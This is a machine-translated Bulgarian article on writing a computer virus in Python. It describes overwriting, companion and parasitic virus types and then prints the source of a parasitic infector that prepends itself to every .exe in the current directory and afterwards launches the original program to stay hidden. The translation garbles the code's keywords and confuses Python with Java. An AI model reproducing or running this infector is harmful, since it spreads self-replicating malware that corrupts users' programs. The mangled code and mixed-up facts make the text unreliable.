Вирус в Python Проучване на възможностите за пълноценно злонамерено кодиране на интерпретиран език

Съдържанието на статията

Нова година е времето за леки извращения. Въпреки че за вас, които четете тази статия почти през пролетта, годината вече не е нова и самата идея за изучаване на вирус, написан на Python, може да изглежда дори не лесно извращение ...

Има три основни подтипа на HLLx вируси: Презапис - HLLO, Придружител - HLLC и паразити (паразитни) - HLLP.

Първите са доста примитивни програми, които просто презаписват кода на жертвата със собствен код, в резултат на което оригиналната програма престава да съществува. Тези вируси са много прости и много разрушителни. В резултат на епидемия от такава инфекция компютърът на потребителя е почти напълно лишен от целия инсталиран софтуер. Това не може да се нарече друго освен вандализъм.

Придружаващите вируси са по-хуманни към изпълнимите файлове, които „заразяват“. Умишлено сложих думата „заразявам“ в кавички, тъй като всъщност зловредният софтуер HLLC просто си присвоява името на жертвата и оригиналният изпълним файл се преименува (или може да бъде криптиран - ред.) На нещо друго. По този начин те заменят потребителския софтуер с техните копия и за по-голяма маскировка стартират оригиналната програма от файл с ново име. Потребителят е доволен и вирусът все още е жив. HLLP са най-напредналите от JAVU вирусите. Те се вграждат директно във файла на жертвата, като същевременно се запазва функционалността на оригиналния код. Поради особеностите на езиците за програмиране на високо ниво е много трудно да се постигне пълноценна инжекция, както при „възрастни“ вируси на асемблерен език. Следователно паразитите не са много елегантни същества, но, за съжаление, това на практика е таванът на това, което може да бъде изтласкано от Java.

Поради факта, че както HLLO, така и HLLC вирусите са твърде примитивни и практически не се срещат в дивата природа, ще развием паразитен здравословен проблем. Основният метод, който те използват за заразяване, е инжектиране в един файл с кода на жертвата.
По този начин кодът на оригиналната програма се запазва и не се появяват ненужни следи.

Има много вариации по темата за HLLP злонамерен софтуер, но ние ще приложим най-простия. Вирусът ще напише собственото си тяло в началото на файла-жертва - изцяло, с всички заглавки и структури на услуги. Кодът на „добрата“ програма ще бъде изместен в зависимост от дължината на вируса. Тоест, първо ще бъде екзекутиран вирусът, който в края на своето черно дело ще стартира оригиналната програма, за да не предизвика отново подозрение у потребителя. По традиция нека да разгледаме кода:

HLLP код на вируса

импортиране на sys
внос os
внос shutil
virPath = os.path.split (sys.argv [0]);
имена = os.listdir ('.');
fvir = отворен (sys.argv [0], 'rb');
virData = fvir.read (19456);
за име в имена:

namePair = os.path.splitext (име);
ако namePair [1] == '.exe' и
име! = virPath [1]:

os.rename (име, име + 'tmp');
fprog = отворен (име + 'tmp', 'rb');
progData = fprog.read ();
fnew = отворен (име, 'wb');
fnew.write (virData + progData);
fnew.close ();
fprog.close ();
os.remove (име + 'tmp');
origProgData = fvir.read ();
origProg = 'original_' + virPath [1];
forig = отворен (origProg, 'wb');
forig.write (origProgData);
fvir.close ();
forig.close ();
os.execl (origProg, '');

На първо място, ние свързваме три модула: sys, os, shutil. Модулът sys осигурява достъп до променливи, които са тясно свързани с интерпретатора или изпълнявания скрипт. Така например, получаваме името на изпълнимия скрипт с помощта на командата sys.argv [0]. Модулът os позволява изпълнението на специфични за операционната система команди. Например вземете списък с файлове в директория, извършете някои операции върху тях и т.н. И накрая, модулът shutil ви позволява да копирате и премествате файл на вашия твърд диск.

След като импортираме необходимите ни модули, откриваме името на файла, който съдържа изходния код на вируса. След това, използвайки командата os.listdir (‘.’), Получаваме списък с файлове в текущата директория и проверяваме дали следващият обект в списъка е изпълним файл.